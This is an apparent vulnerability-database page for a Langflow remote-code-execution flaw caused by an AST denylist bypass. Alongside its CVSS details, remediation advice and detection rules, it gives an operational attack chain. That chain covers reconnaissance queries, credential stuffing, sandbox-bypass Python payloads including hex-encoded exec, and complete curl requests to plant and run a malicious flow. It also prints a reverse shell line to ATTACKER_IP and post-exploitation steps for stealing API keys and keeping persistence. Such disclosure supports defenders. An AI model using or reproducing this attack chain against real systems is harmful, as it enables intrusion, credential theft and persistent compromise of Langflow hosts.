CVE Professor
/
All CVEs
CVE-2026-120069

CVE-2026-120069 — IBM Langflow OSS (1.13.0) — CWE-693

HIGH CVSS 8.8 CVE.org

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to an AST denylist bypass allowing code-as-data patterns to evade the check.

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to an AST denylist bypass allowing code-as-data patterns to evade the check.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical Flaw:
This vulnerability is a Code Injection flaw resulting from an Incomplete Deny List (CWE-693: Protection Mechanism Failure) in the code execution sandbox of IBM Langflow.

Langflow is a visual, low-code platform for building LLM applications. It allows users to define workflows using nodes that can execute Python code. To prevent malicious execution, Langflow employs a security layer that parses the submitted code into an Abstract Syntax Tree (AST) and blocks specific dangerous nodes (e.g., import os, subprocess.call, eval, exec).

The flaw lies in the AST denylist bypass. The security check relies on identifying specific AST node types or attribute names to block. However, Python's dynamic nature allows attackers to use "code-as-data" patterns to construct dangerous function calls or imports dynamically, thereby evading the static AST inspection.

Specific Bypass Mechanism (Illustrative):
Instead of writing import os (which creates an Import node in the AST that the denylist blocks), an attacker can use built-in functions like getattr, globals, or vars to retrieve the os module or system function at runtime. For example:

# Blocked by AST denylist (likely):
import os
os.system("id")

# Bypasses AST denylist (Code-as-Data):
getattr(__import__('os'), 'system')("id")

The AST parser sees getattr and __import__ (which might be allowed or overlooked if the denylist is incomplete), but the runtime execution resolves to the dangerous os.system call.

CVSS Vector Analysis:

  • AV:N/AC:L/PR:L/UI:N: Network exploitable, low complexity, requires low privileges (authenticated user).

  • S:U: Scope is unchanged (the vulnerable component is the application itself).

  • C:H/I:H/A:H: Full compromise of Confidentiality, Integrity, and Availability.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Identify Target: Use Shodan, Censys, or manual scanning to identify instances of IBM Langflow. Look for default ports (typically 7860 for the UI, 8080 for the API).
  • Version Fingerprinting:
  • - Check the /api/v1/health or /api/v1/version endpoints (if exposed). - Inspect the frontend JavaScript bundles or HTML meta tags for version strings. - Confirm version is between 1.0.0 and 1.13.0.
  • Authentication: Obtain valid credentials. This could be via:
  • - Default credentials (if not changed). - Credential stuffing. - A compromised low-privilege user account (e.g., a "viewer" or "editor" role that has permission to create/edit flows).

    2. Exploitation

    Prerequisite: The attacker must have an authenticated session with permission to create or update a Langflow flow/component that accepts custom Python code (e.g., a "Custom Code" node or a "Python" component).

    Step 1: Craft the Bypass Payload
    The attacker constructs a Python snippet that uses dynamic attribute access to invoke a system command.

    Illustrative Payload (AST Bypass):

    # This code attempts to execute 'id' via os.system without directly importing os in a way that triggers the AST denylist
    import builtins
    import sys
    
    # Method 1: Using __import__ and getattr
    os_module = __import__('os')
    os_module.system('id > /tmp/pwned')
    
    # Method 2: Using globals() if 'os' is already in the global scope (less reliable)
    # Method 3: Using exec with encoded string (if exec is not blocked)
    exec(bytes.fromhex('6f732e73797374656d282269642229').decode())

    Note: The exact bypass depends on which AST nodes are blocked. The most common bypass in such frameworks is using __import__ combined with getattr or direct attribute access on the imported module object.

    Step 2: Inject into Langflow
    The attacker uses the Langflow API to create or update a flow. The payload is embedded in the code field of a Python component.

    Illustrative API Request (curl):

    # Authenticate to get a token (example)
    TOKEN=$(curl -s -X POST "http://target:8080/api/v1/login" \
      -H "Content-Type: application/json" \
      -d '{"username": "attacker", "password": "password"}' | jq -r '.access_token')
    
    # Create a new flow with the malicious code
    curl -s -X POST "http://target:8080/api/v1/flows" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "Malicious Flow",
        "description": "Test",
        "data": {
          "nodes": [
            {
              "id": "node-1",
              "type": "python",
              "position": {"x": 0, "y": 0},
              "data": {
                "code": "import builtins\nos_module = __import__(\"os\")\nos_module.system(\"id > /tmp/pwned\")"
              }
            }
          ],
          "edges": []
        }
      }'

    Step 3: Trigger Execution
    The attacker triggers the execution of the flow. This can be done via:

  • The Langflow UI (clicking "Run").

  • The API endpoint for executing a flow (e.g., POST /api/v1/flows/{flow_id}/run).
  • # Trigger execution
    curl -s -X POST "http://target:8080/api/v1/flows/{flow_id}/run" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{}'

    3. Post-Exploitation

  • Command Execution: The os.system("id > /tmp/pwned") command executes on the host where Langflow is running.
  • Reverse Shell: The attacker can replace the command with a reverse shell payload:
  • os_module.system('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')
  • Privilege Escalation: If Langflow runs as a non-root user, the attacker can attempt local privilege escalation (e.g., via SUID binaries, kernel exploits, or misconfigured sudo).
  • Data Exfiltration: Access to the Langflow database (PostgreSQL/SQLite) and any connected LLM API keys (stored in environment variables or config files) allows exfiltration of sensitive data.
  • Persistence: The attacker can create a new user, modify cron jobs, or install a webshell if the web server is accessible.
  • 🌍 Real World Impact

  • Confidentiality (High):
  • - Access to all data stored in Langflow (prompts, outputs, user data). - Exposure of API keys for LLM providers (OpenAI, Anthropic, etc.) stored in environment variables or config files. - Access to the underlying database and file system.
  • Integrity (High):
  • - Modification of Langflow flows, components, and configurations. - Injection of malicious code into other flows, leading to persistent compromise. - Tampering with data processed by the LLM applications.
  • Availability (High):
  • - Ability to crash the Langflow service (e.g., by consuming all CPU/memory). - Deletion of critical data or configurations. - Disruption of dependent LLM applications.

    Practical Consequences:

  • Data Breach: Customer data, prompts, and outputs processed by the LLM applications are exposed.

  • Financial Loss: Compromised API keys can lead to unauthorized usage of paid LLM services.

  • Reputational Damage: Public disclosure of the breach can harm the organization's reputation.

  • Regulatory Non-Compliance: Violation of data protection regulations (GDPR, CCPA, etc.) if personal data is exposed.
  • 🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: IBM Langflow OSS 1.0.0 through 1.13.0.
  • Remediation: Upgrade to the latest version of IBM Langflow OSS where the AST denylist has been fixed to handle code-as-data patterns. Check the official IBM Langflow release notes for the specific fixed version (likely 1.14.0 or later, but verify with the vendor).
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • Disable Custom Code Execution:
  • - If the Langflow configuration allows, disable the "Custom Code" or "Python" component type. This prevents users from injecting arbitrary Python code. - Modify the Langflow source code to remove or restrict the __import__, getattr, globals, vars, exec, and eval functions in the sandboxed environment.
  • Network Segmentation:
  • - Run Langflow in a restricted network segment with no outbound internet access (except to necessary LLM APIs). - Use a firewall to restrict outbound connections from the Langflow host to only the required LLM API endpoints.
  • Least Privilege:
  • - Run the Langflow service as a non-root user with minimal file system permissions. - Use a container (Docker) with read-only file system and no privileged capabilities.

    3. Detection

  • Web Server Logs:
  • - Monitor for API requests to /api/v1/flows or /api/v1/flows/{id}/run with large or suspicious code fields. - Look for patterns like __import__, getattr, os.system, subprocess, exec, eval in the request body.
  • File System Monitoring:
  • - Monitor for unexpected file creation in /tmp, /var/tmp, or the Langflow working directory. - Look for files containing reverse shell payloads or encoded commands.
  • Process Monitoring:
  • - Monitor for unexpected child processes spawned by the Langflow process (e.g., bash, sh, nc, curl). - Use tools like auditd or sysmon to log process creation events.
  • Network Monitoring:
  • - Monitor for outbound connections from the Langflow host to unusual ports or IP addresses. - Look for DNS queries to suspicious domains or long, random-looking domain names (DGA).

    Example ModSecurity Rule (Illustrative):

    SecRule REQUEST_BODY "@rx __import__|getattr|os\.system|subprocess|exec\(|eval\(" \
        "id:100001,\
        phase:2,\
        block,\
        log,\
        msg:'Potential Langflow AST Bypass Attempt',\
        severity:2,\
        setvar:tx.inbound_anomaly_score=+10"

    ⚠️ Urgency

  • CVSS Score: 8.8 (HIGH)
  • CISA KEV: No (as of the provided data)
  • Exploit Complexity: Low (AC:L)
  • Authentication Required: Yes (PR:L)
  • Patching Priority: HIGH

    Rationale:

  • The vulnerability allows Remote Code Execution (RCE) with only low-privilege authentication.

  • The exploit complexity is low, making it easy for attackers to exploit.

  • While not currently in the CISA KEV catalog, the high impact and low complexity make it a likely target for opportunistic attackers.

  • Recommendation: Patch immediately. If immediate patching is not possible, apply the workarounds (disable custom code, network segmentation) and monitor for exploitation attempts.


[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="IBM Langflow OSS"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-693
Affected Products (1)
IBM:Langflow OSS (1.13.0)
References & Advisories (1)
Related CVEs
9.9
CVE-2026-115550
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.9
CVE-2026-115555
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.8
CVE-2026-119106
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary code due to a heap-based
9.8
CVE-2026-121835
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary commands due to improper
9.4
CVE-2026-64884
An incomplete restricted-class check in the Velocity template sandbox (SecureIntrospectorImpl) in dotCMS versi
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am
7.1
CVE-2026-120102
Improper path restriction in the module loader of the server-side JavaScript engine (/api/js) in dotCMS 24.03.